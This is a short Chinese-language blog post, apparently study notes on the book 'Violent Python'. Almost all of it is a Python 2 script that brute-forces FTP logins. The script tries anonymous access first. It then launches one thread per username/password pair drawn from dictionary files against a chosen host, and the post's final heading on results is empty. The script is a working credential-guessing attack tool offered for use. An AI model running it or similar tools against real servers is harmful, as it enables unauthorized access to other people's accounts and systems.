最近在看《Violent Python》,记录一些代码实现。
0x00 FTP暴力破解之PTYHON实现
需使用ftplib库,书中采用单线程,这里我使用了多线程完成,匿名登录的问题暂时没有找机子试,如有问题可以探讨~
0x01 代码实现
import optparse
import ftplib
import threading
import socket
#screen_lock = threading.Semaphore(value=1)
def anonyLogin(host):
try:
ftp = ftplib.FTP(host)
ftp.connect(host, 21, timeout = 10)
ftp.login('anonymous', '[email protected]')
ftp.retrlines('LIST')
ftp.quit()
print '\n[*]' + str(host) + ' FTP Anonymous Logon Succeeded.'
except Exception, e:
print '\n[-] ' + str(host) + ' FTP Anonymous Logon Failed.'
def ftpLogin(host, userName, password):
try:
#screen_lock.acquire()
print '[-] Trying: ' + userName + '/' +password
#screen_lock.release()
ftp = ftplib.FTP(host)
ftp.connect(host, 21, timeout = 10)
ftp.login(userName, password)
ftp.retrlines('LIST')
ftp.quit()
print 'Succeeded'
except ftplib.all_errors:
pass
def bruteForce(host, usersFile, pwdFile):
userfn = open(usersFile, 'r')
pwdfn = open(pwdFile, 'r')
for user in userfn.readlines():
# Reset the pwdfn filepointer(0)
pwdfn.seek(0)
for passwd in pwdfn.readlines():
userName = user.strip('\n')
passWord = passwd.strip('\n')
t = threading.Thread(target=ftpLogin, args=(host, userName, passWord))
child = t.start()
def main():
parser = optparse.OptionParser('usage%prog -H -u -p ')
parser.add_option('-H', dest='tgtHost', type='string', help='specify the host')
parser.add_option('-u', dest='userDic', type='string', help='specify the dictionary for user')
parser.add_option('-p', dest='pwdDic', type='string', help='specify the dictionary for password')
(options, args) = parser.parse_args()
host = options.tgtHost
userDic = options.userDic
pwdDic = options.pwdDic
try:
tgthost = socket.gethostbyname(host)
except:
print "[-] Cannot Resolve '%s': Unknown host" %host
exit(0)
anonyLogin(tgthost)
bruteForce(tgthost, userDic, pwdDic)
if __name__ == '__main__':
main()
0x02 效果